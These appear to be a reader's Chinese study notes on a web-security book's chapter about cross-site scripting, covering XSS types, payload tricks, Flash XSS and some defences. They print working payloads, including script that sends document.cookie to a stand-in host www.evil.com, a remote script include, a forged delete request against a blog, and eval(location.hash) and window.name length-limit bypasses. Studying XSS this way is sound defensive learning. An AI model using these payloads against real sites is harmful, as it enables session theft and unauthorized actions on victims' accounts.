3.1 xss简介

cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss。

xss的产生原因是直接把用户的输入,输出到页面上,***可以输入脚本语句进行***。

xss的分类:反射性xss,需要诱使用户点击恶意链接才能***成功;存储型xss,也叫持久型xss,***输入的数据可以存储在服务器上;DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行***。

3.2 xss***进阶

3.2.1 初探xss payload

xss payload实际上就是java script,还可以说flash或其他富客户端脚本。

真正的payload写在远程脚本中,避免直接在url中写入大量代码,如:

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>

窃取cookie的代码:

var img =  document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

cookie的HttpOnly可以防止Cookie劫持。

3.2.2 强大的xss payload

  • 构造get与post请求

get请求的例子:假设sohu博客上存在xss漏洞并且知道文章id,那么删除sohu博客该文章,只需调整:

img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567

post请求的例子:利用xss在豆瓣上发言,可以通过构造form或XMLHttpRequest两种方式发起post请求,代码较长,详见书的p48-49。书中还有一个更复杂的读取qq邮箱的例子。

  • xss钓鱼

xss缺少与用户交互,对于这个问题,书中举了两个例子,一个针对验证码,另一个上通过构造密码输入框,钓鱼方式获取用户密码。

  • 识别用户浏览器

  • 识别用户安装的软件

  • 获取用户的真实ip地址

以上几个有需要的时候再研究了。

3.2.3 xss***平台

Attack API、BeEF、xss proxy

3.2.4 终极武器 xss worm

举了myspace和百度空间的两个例子,难度挺大。

3.2.5 调试js

firebug:第一利器,缺点是只对firefox支持最好。

IE developer tools、Fiddler、HttpWatch等。

3.2.6 xss构造技巧

利用字符编码:举了一个绕过“转义双引号”的例子。

绕过长度限制:

***者可以利用事件(event)来缩短字节数,代码为

"οnclick=alert(1)//

但利用event能够缩短多字节数是有限的,最好把代码藏到别处,最常用的藏代码的地方是“location.hash”,代码为

"οnclick="eval(location.hash.substr(1))

去掉第一个字符#,xss url为

http://www.a.com/test.html#alert(1)

使用<base>标签:如果***者插入了<base>标签,就可以劫持所有使用了“相对路径”的标签。

window.name妙用:书中给了一个例子,代码如下

<script>
window.name = "alert(document.cookie)";
location.href = http://www.xssedsite.com/xssed.php";
</script>

xss payload为

eval(name);

只有11个字节。个人觉得这里是用到了CSRF,需要先诱骗用户访问***者的网站。

3.2.7 变废为宝

3.2.8 Flash XSS

在Flash中可以嵌入ActionScript脚本,一个最常见的Flash XSS:

getURL("javascript:alert(document.cookie)")

将Flash嵌入页面中:

<embed src = "http://yourhost/evil.swf"
pluginpage = "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash"
width="0"
height="0"
></embed>

一般要禁止用户上传或加载自定义Flash文件,禁用<embed>、<object>(这个可以加载ActiveX控件)标签。如果网站一定要使用Flash,则应该使用静态的flv文件。如果是swf文件,则要配置参数进行限制,最主要的参数是allowScriptAccess、allowNetworking,建议设置为never、none

除了用户上传的Flash文件能够实施脚本***,一些Flash也可能会有XSS漏洞,例如:

on(release){
getURL(_root.clickTAG,"_blank");}

这段代码缺乏输入验证,可被XSS***:

http://url/flash-file.swf?clickTAG=javascript:alert('xss')

SWFIntruder工具可用来检查这种漏洞。

3.2.9 JavaScript开发框架

代码是人写的,高手偶尔也会犯错误。

Dojo 1.4.1、YUI 2.8.1都爆出过XSS漏洞。jQuery只是对JS进行了封装,如果用户能够控制输入,也可能会产生XSS。